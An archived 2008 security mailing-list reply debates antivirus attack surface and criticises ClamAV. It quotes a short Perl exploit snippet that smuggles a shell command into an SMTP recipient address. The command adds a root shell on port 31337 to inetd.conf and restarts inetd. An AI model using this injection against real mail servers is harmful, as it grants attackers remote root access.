Security Incidents mailing list archives
Re: Possible Mail server compromise ?
From: "Faas M. Mathiasen" <faas.m.mathiasen () googlemail com>
Date: Tue, 19 Feb 2008 19:46:35 +0100
Dear Bob,
Jon Oberheide send me some impressive statistics with regards of vulnerabilities within AV Software, interesting enough most of them are remotely exploitable :OMost? I would expect most to offer patches quickly.
Yep most of them, if AV software scans data that comes from a remote source it is remotely exploitable. But it all depends on who is your enemy, if your enemy is a script kiddie then yes patching helps. If your up to enemies developing zero days I guess that won't help.
That sounds like "snake oil". The more code (i.e., adding their product) the greater the "remotely exploitable attack surface".
I'd like to disagree : Not really. Only code that deals with data that can be manipulated by an attacker is "exploitable attack surface", so if you only add code that is static and does not parse, nor deal with data an attacker can manipulate, your exploitable attack surface does in fact _not_ grow, that's not snake oil but a simple fact, I guess =) Anyways in this case I am not sure about it, have you read the "Security through No-Parsing" paradigma ? They apparently don't parse the data and put everything in a sealed environment. knowing these guys found these bugs (http://www.nruns.com/parsing-engines-advisories.php) I guess they know what they are talking about ?? But then again you never know.
We have developed an excellent spam and virus filter that uses ClamAV as the virus signature matching engine and have had great success with it. We also add our own proprietary virus filtering on top of ClamAV to block most viruses too new to have a signature.
ClamAV ? Lowest detection rate in the industry, no on-access scans and an Anti-virus that was vulnerable to such bugs [1] you consider a great success ? I don't know who you are protecting but I hope they were not vulnerable to this : [1] print $sock "ehlo you\r\n"; print $sock "mail from: <>\r\n"; print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n"; print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n"; print $sock "data\r\n.\r\nquit\r\n";
Current thread:
- Re: Possible Mail server compromise ?, (continued)
- Re: Possible Mail server compromise ? Valdis . Kletnieks (Feb 05)
- Message not available
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 04)
- Message not available
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 04)
- Re: Possible Mail server compromise ? Gary Baribault (Feb 04)
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 04)
- Re: Possible Mail server compromise ? Michael Loftis (Feb 13)
- Re: Possible Mail server compromise ? Jon Oberheide (Feb 13)
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 19)
- Re: Possible Mail server compromise ? Bob Toxen (Feb 19)
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 19)
- Re: Possible Mail server compromise ? Valdis . Kletnieks (Feb 20)
- Re: Possible Mail server compromise ? Bob Toxen (Feb 20)
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 20)
- Re: Possible Mail server compromise ? Eygene Ryabinkin (Feb 20)
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 20)
- Re: Possible Mail server compromise ? Valdis . Kletnieks (Feb 20)
- Re: Possible Mail server compromise ? Faas M. Mathiasen (Feb 21)
- Re: Possible Mail server compromise ? Paul Schmehl (Feb 21)